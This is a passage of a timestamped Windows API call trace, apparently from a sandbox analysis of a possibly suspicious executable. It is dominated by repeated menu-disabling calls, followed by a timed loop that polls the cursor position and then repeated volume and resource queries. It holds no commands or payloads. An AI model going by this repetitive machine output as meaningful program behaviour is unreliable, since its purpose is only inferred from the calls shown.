uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.641] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.641] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.641] DrawMenuBar (hWnd=0x0) returned 0 [0024.641] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.642] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.642] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.642] DrawMenuBar (hWnd=0x0) returned 0 [0024.642] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.643] GetConsoleWindow () returned 0x0 [0024.643] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.643] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.643] DrawMenuBar (hWnd=0x0) returned 0 [0024.644] GetConsoleWindow () returned 0x0 [0024.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.644] DrawMenuBar (hWnd=0x0) returned 0 [0024.644] GetConsoleWindow () returned 0x0 [0024.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.644] DrawMenuBar (hWnd=0x0) returned 0 [0024.644] GetConsoleWindow () returned 0x0 [0024.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.644] DrawMenuBar (hWnd=0x0) returned 0 [0024.644] GetConsoleWindow () returned 0x0 [0024.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.644] DrawMenuBar (hWnd=0x0) returned 0 [0024.644] GetConsoleWindow () returned 0x0 [0024.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.644] DrawMenuBar (hWnd=0x0) returned 0 [0024.644] GetConsoleWindow () returned 0x0 [0024.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.644] DrawMenuBar (hWnd=0x0) returned 0 [0024.644] GetConsoleWindow () returned 0x0 [0024.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.644] DrawMenuBar (hWnd=0x0) returned 0 [0024.644] GetConsoleWindow () returned 0x0 [0024.644] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.644] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.644] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.645] GetConsoleWindow () returned 0x0 [0024.645] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.645] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.645] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.646] DrawMenuBar (hWnd=0x0) returned 0 [0024.646] GetConsoleWindow () returned 0x0 [0024.646] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.646] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.647] DrawMenuBar (hWnd=0x0) returned 0 [0024.647] GetConsoleWindow () returned 0x0 [0024.647] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.647] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.647] DrawMenuBar (hWnd=0x0) returned 0 [0024.647] GetConsoleWindow () returned 0x0 [0024.647] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.647] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.647] DrawMenuBar (hWnd=0x0) returned 0 [0024.647] GetConsoleWindow () returned 0x0 [0024.647] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.647] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.647] DrawMenuBar (hWnd=0x0) returned 0 [0024.647] GetConsoleWindow () returned 0x0 [0024.647] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0024.647] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0024.647] DrawMenuBar (hWnd=0x0) returned 0 [0024.648] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0024.648] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=793, y=460)) returned 1 [0024.648] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xbb6) returned 0x102 [0027.739] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0027.739] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=793, y=460)) returned 1 [0027.739] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xbb6) returned 0x102 [0030.824] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0030.824] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=570, y=294)) returned 1 [0030.824] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xbb6) returned 0x102 [0033.972] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0033.972] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=570, y=294)) returned 1 [0033.972] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0033.972] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xbb6) returned 0x102 [0037.063] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0037.063] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=570, y=294)) returned 1 [0037.063] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0037.063] LoadImageA (hInst=0x400000, name=0xc, type=0x0, cx=0, cy=0, fuLoad=0x0) returned 0x0 [0037.064] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe060 | out: hHeap=0x22f0000) returned 1 [0037.064] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe038 | out: hHeap=0x22f0000) returned 1 [0037.064] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd870 | out: hHeap=0x22f0000) returned 1 [0037.064] DestroyWindow (hWnd=0x301c2) returned 1 [0037.065] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0037.070] NtdllDefWindowProc_A (hWnd=0x301c2, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0037.071] LoadBitmapA (hInstance=0x400000, lpBitmapName="PC") returned 0x0 [0037.071] ImageList_Add (himl=0x0, hbmImage=0x0, hbmMask=0x0) returned -1 [0037.071] WinWatchNotify () returned 0x0 [0037.071] timeGetTime () returned 0x1144961 [0037.072] WinWatchOpen () returned 0x5c01c0 [0037.072] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.075] LockResource (hResData=0x0) returned 0x0 [0037.075] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.075] WinWatchNotify () returned 0x0 [0037.075] timeGetTime () returned 0x1144965 [0037.076] WinWatchOpen () returned 0x5c0200 [0037.076] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.076] LockResource (hResData=0x0) returned 0x0 [0037.076] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.076] WinWatchNotify () returned 0x0 [0037.076] timeGetTime () returned 0x1144965 [0037.076] WinWatchOpen () returned 0x5c0300 [0037.076] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.076] LockResource (hResData=0x0) returned 0x0 [0037.076] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.076] WinWatchNotify () returned 0x0 [0037.076] timeGetTime () returned 0x1144966 [0037.076] WinWatchOpen () returned 0x5efe90 [0037.076] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.076] LockResource (hResData=0x0) returned 0x0 [0037.076] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.076] WinWatchNotify () returned 0x0 [0037.076] timeGetTime () returned 0x1144966 [0037.076] WinWatchOpen () returned 0x5efed0 [0037.076] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.076] LockResource (hResData=0x0) returned 0x0 [0037.076] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.076] WinWatchNotify () returned 0x0 [0037.076] timeGetTime () returned 0x1144966 [0037.076] WinWatchOpen () returned 0x5efef0 [0037.076] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.076] LockResource (hResData=0x0) returned 0x0 [0037.076] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.076] WinWatchNotify () returned 0x0 [0037.076] timeGetTime () returned 0x1144966 [0037.076] WinWatchOpen () returned 0x5effb0 [0037.076] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.076] LockResource (hResData=0x0) returned 0x0 [0037.076] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.076] WinWatchNotify () returned 0x0 [0037.076] timeGetTime () returned 0x1144966 [0037.076] WinWatchOpen () returned 0x5f0010 [0037.076] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.076] LockResource (hResData=0x0) returned 0x0 [0037.076] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.076] WinWatchNotify () returned 0x0 [0037.076] timeGetTime () returned 0x1144966 [0037.076] WinWatchOpen () returned 0x5f0030 [0037.077] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.077] LockResource (hResData=0x0) returned 0x0 [0037.077] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.077] WinWatchNotify () returned 0x0 [0037.077] timeGetTime () returned 0x1144966 [0037.077] WinWatchOpen () returned 0x5f0050 [0037.077] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.077] LockResource (hResData=0x0) returned 0x0 [0037.077] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.077] WinWatchNotify () returned 0x0 [0037.077] timeGetTime () returned 0x1144967 [0037.077] WinWatchOpen () returned 0x5f0070 [0037.077] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.077] LockResource (hResData=0x0) returned 0x0 [0037.077] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.077] WinWatchNotify () returned 0x0 [0037.077] timeGetTime () returned 0x1144967 [0037.077] WinWatchOpen () returned 0x5f0090 [0037.077] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.077] LockResource (hResData=0x0) returned 0x0 [0037.077] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.077] WinWatchNotify () returned 0x0 [0037.077] timeGetTime () returned 0x1144967 [0037.077] WinWatchOpen () returned 0x5f00b0 [0037.077] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.077] LockResource (hResData=0x0) returned 0x0 [0037.077] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.077] WinWatchNotify () returned 0x0 [0037.077] timeGetTime () returned 0x1144967 [0037.077] WinWatchOpen () returned 0x5f00d0 [0037.077] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.077] LockResource (hResData=0x0) returned 0x0 [0037.077] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.077] WinWatchNotify () returned 0x0 [0037.077] timeGetTime () returned 0x1144967 [0037.077] WinWatchOpen () returned 0x5f00f0 [0037.077] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.077] LockResource (hResData=0x0) returned 0x0 [0037.077] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.077] WinWatchNotify () returned 0x0 [0037.077] timeGetTime () returned 0x1144967 [0037.077] WinWatchOpen () returned 0x5f0110 [0037.077] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.078] LockResource (hResData=0x0) returned 0x0 [0037.078] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.078] WinWatchNotify () returned 0x0 [0037.078] timeGetTime () returned 0x1144967 [0037.078] WinWatchOpen () returned 0x5f0130 [0037.078] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.078] LockResource (hResData=0x0) returned 0x0 [0037.078] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.078] WinWatchNotify () returned 0x0 [0037.078] timeGetTime () returned 0x1144968 [0037.078] WinWatchOpen () returned 0x5f0150 [0037.078] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.078] LockResource (hResData=0x0) returned 0x0 [0037.078] GetVolumeNameForVolumeMountPointA (in: 